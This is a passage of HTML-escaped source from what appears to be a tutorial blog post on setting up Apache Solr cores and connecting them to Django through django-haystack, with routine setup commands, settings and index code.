}&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Once unzipped and inside the main solr folder we will find a folder &lt;em&gt;bin/&lt;/em&gt;, with the solr binaries.&lt;/p&gt;&#xA;&lt;p&gt;The binary named solr has the commands stop and start, to stop and start, respectively, solr.&lt;/p&gt;&#xA;&lt;p&gt;We will use start to execute it and, if no error occurs, we will have an administration panel available on port 8983.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./solr start&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-panel-principal.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-panel-principal.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;solr control panel&#34; width=&#34;1170&#34; height=&#34;539&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Solr control panel screenshot&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;cores-in-solr&#34;&gt;Cores in Solr&lt;/h3&gt;&#xA;&lt;p&gt;A core is an instance of an index with its own configuration parameters. Solr allows us to work with different cores.&lt;/p&gt;&#xA;&lt;p&gt;When using solr, we will interact with a kernel, so it is essential to create one in order to perform our queries.&lt;/p&gt;&#xA;&lt;h3 id=&#34;create-a-core&#34;&gt;Create a core&lt;/h3&gt;&#xA;&lt;p&gt;To create a new core we will go to the &lt;em&gt;Add Core&lt;/em&gt; section and fill in the following information:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;name: The name to assign to our kernel.&lt;/li&gt;&#xA;&lt;li&gt;instanceDir: The name of the instance directory, it must be located inside &amp;lt;solr-x.y.z&amp;gt;/server/solr/ (Does not exist yet)&lt;/li&gt;&#xA;&lt;li&gt;dataDir: The directory where the generated data will be stored (does not exist yet)&lt;/li&gt;&#xA;&lt;li&gt;config: solrconfig.xml (We don&amp;rsquo;t have it yet)&lt;/li&gt;&#xA;&lt;li&gt;schema: schema.xml (We don&amp;rsquo;t have it yet)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-add-core.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-add-core.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Form for adding core in Solr&#34; width=&#34;827&#34; height=&#34;533&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Form for adding core in Solr&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;To configure Solr we will create the following structure inside the solr installation folder &lt;em&gt;&amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;solr_instance_name_dir&amp;gt;/&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;instance_name&amp;gt;/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── lang&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   └── stopwords_en.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── protwords.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── managed-schema &lt;span style=&#34;color:#78787e&#34;&gt;# Our config file&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── solrconfig.xml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── stopwords.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── synonyms.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;conf&lt;/strong&gt;, contains the configuration files of our kernel. We will modify managed-schema later.&#xA;&lt;strong&gt;data&lt;/strong&gt;, contains the generator indexes of our kernel (right now it is empty).&lt;/p&gt;&#xA;&lt;h3 id=&#34;get-the-configuration-files&#34;&gt;Get the configuration files.&lt;/h3&gt;&#xA;&lt;p&gt;In order not to start from scratch, we will take the default configuration folder, located at &amp;lt;solr-x.y.z&amp;gt;/server/solr/configsets/_default/conf and move it to the directory of the solr instance.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cp -r &amp;lt;solr-x.y.z&amp;gt;/server/solr/configsets/_default/conf &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;instance_directory&amp;gt;/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we go to the administration panel we should be able to create the core successfully.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-creacion-de-un-nucleo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-creacion-de-un-nucleo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Solr kernel creation&#34; width=&#34;1749&#34; height=&#34;571&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;haystack-in-django&#34;&gt;Haystack in Django&lt;/h2&gt;&#xA;&lt;p&gt;We now have a working Solr core, with the basic configuration, but we have not connected it to Django.&lt;/p&gt;&#xA;&lt;p&gt;To connect solr and django we will configure &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-haystack.readthedocs.io/en/master/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django-haystack&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Django-haystack is a bridge between django and different search engines:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ElasticSearch&lt;/li&gt;&#xA;&lt;li&gt;Solr&lt;/li&gt;&#xA;&lt;li&gt;Whoosh&lt;/li&gt;&#xA;&lt;li&gt;Xapian&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It allows us to generate configuration files and interact directly with the engines to generate indexes and perform searches or queries.&lt;/p&gt;&#xA;&lt;p&gt;Right now we are competing with solr, so first we will install &lt;em&gt;django-haystack&lt;/em&gt; and &lt;em&gt;pysolr&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django-haystack&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.2.1 &lt;span style=&#34;color:#ff5c57&#34;&gt;pysolr&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.9.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;configuring-haystack-in-django&#34;&gt;Configuring Haystack in Django&lt;/h3&gt;&#xA;&lt;p&gt;Once installed remember to add it to INSTALLED_APPS, before your applications. Also we need to tell Django where it can find the endpoint for solr through the HAYSTACK_CONNECTIONS variable.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;haystack&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# tus apps &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_CONNECTIONS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;haystack.backends.solr_backend.SolrEngine&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;URL&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://127.0.0.1:8983/solr/&amp;lt;core_name&amp;gt;&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;using-a-django-class-as-the-basis-for-the-index&#34;&gt;Using a Django class as the basis for the index&lt;/h3&gt;&#xA;&lt;p&gt;Once installed we need to create a model that serves as the basis for the creation of the solr index. By convention, haystack looks for a file called &lt;em&gt;search_indexes.py&lt;/em&gt;, inside our applications.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/search_indexes.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; haystack &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; indexes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameIndex&lt;/span&gt;(indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SearchIndex, indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Indexable):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# MUST BE NAMED text, by convention&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(document&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, use_template&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(model_attr&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# optional field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Model to return&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_model&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# queryset to index, you can filter it&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;index_queryset&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, using&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_model()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I explain the structure of the class&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;text&lt;/strong&gt;, the most important field, used to generate the index. In this class there must be at least one property with the parameter document=True.&#xA;&lt;strong&gt;created&lt;/strong&gt;, an optional field that corresponds to a property called &lt;em&gt;created&lt;/em&gt; of our model (model_attr=&amp;lsquo;created&amp;rsquo;).&#xA;&lt;strong&gt;get_model&lt;/strong&gt;, the model to return.&#xA;&lt;strong&gt;index_queryset&lt;/strong&gt;, the queryset to index, you can customize it with filters, partition it or as you like.&lt;/p&gt;&#xA;&lt;h4 id=&#34;use-another-name-instead-of-text&#34;&gt;Use another name instead of text&lt;/h4&gt;&#xA;&lt;p&gt;The name text is a convention used by haystack, to use a field name other than text we create the variable &lt;em&gt;HAYSTACK_DOCUMENT_FIELD&lt;/em&gt; in &lt;em&gt;settings.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_DOCUMENT_FIELD &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;alternative_name&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;creating-a-template-for-the-text-field&#34;&gt;Creating a template for the text field&lt;/h3&gt;&#xA;&lt;p&gt;After creating our template class for the index we will need to tell it what the &lt;em&gt;text&lt;/em&gt; field will contain, we will do this using a Django template.&lt;/p&gt;&#xA;&lt;p&gt;Make sure you have set your &lt;em&gt;TEMPLATES&lt;/em&gt; variable in &lt;em&gt;settings.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;TEMPLATES&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.template.backends.django.DjangoTemplates&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DIRS&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;template_directory&amp;gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Haystack will automatically detect a file inside the &lt;em&gt;templates&lt;/em&gt; directory we use in Django, with the following path and use it as a base.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;template_directory&amp;gt;/search/indexes/&amp;lt;app_name&amp;gt;/&amp;lt;model_name&amp;gt;_text.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will fill this file with the same syntax as a normal Django template.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-django&#34; data-lang=&#34;django&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;{{&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;object.name&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;}}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;generating-a-managed_schema&#34;&gt;Generating a managed_schema&lt;/h3&gt;&#xA;&lt;p&gt;After creating the template we will proceed to generate the &lt;em&gt;managed_schema&lt;/em&gt; file, necessary to create the index, using the &lt;em&gt;build_solr_schema&lt;/em&gt; command provided by &lt;em&gt;django-haystack&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 manage.py build_solr_schema &amp;gt; managed_schema&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how I redirect the output of the command to a file named &lt;em&gt;managed_schema&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This file is the one we will replace in our solr configuration.&lt;/p&gt;&#xA;&lt;p&gt;First we back up the configuration.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mv &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;instance_directory&amp;gt;/conf &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;instance_directory&amp;gt;/conf/_managed_schema.old&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is now safe to move the configuration.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mv managed_schema &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;instance_directory&amp;gt;/conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;solr-version-8x-and-django-haystack-settings&#34;&gt;Solr version +8.x and Django-haystack settings&lt;/h4&gt;&#xA;&lt;p&gt;Since we are using the newest version of solr django-haystack (3.2.1) only supports up to solr version 6.x, we need to make some modifications to the code in the &lt;em&gt;managed_schema&lt;/em&gt; file we just copied to the solr configuration. You know, &amp;ldquo;incompatibilities&amp;rdquo;. If you are using other newer versions of haystack you probably don&amp;rsquo;t have to do this anymore.&lt;/p&gt;&#xA;&lt;p&gt;Locate the line:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- &amp;lt;solr-x.y.z&amp;gt;/server/solr/&amp;lt;instance_directory&amp;gt;/conf/managed_schema --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;field&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;django_ct&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;string&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;indexed=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;stored=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;false&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Replace it with your version of type=&amp;ldquo;text_general&amp;rdquo;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- &amp;lt;field name=&amp;#34;django_ct&amp;#34; type=&amp;#34;string&amp;#34; 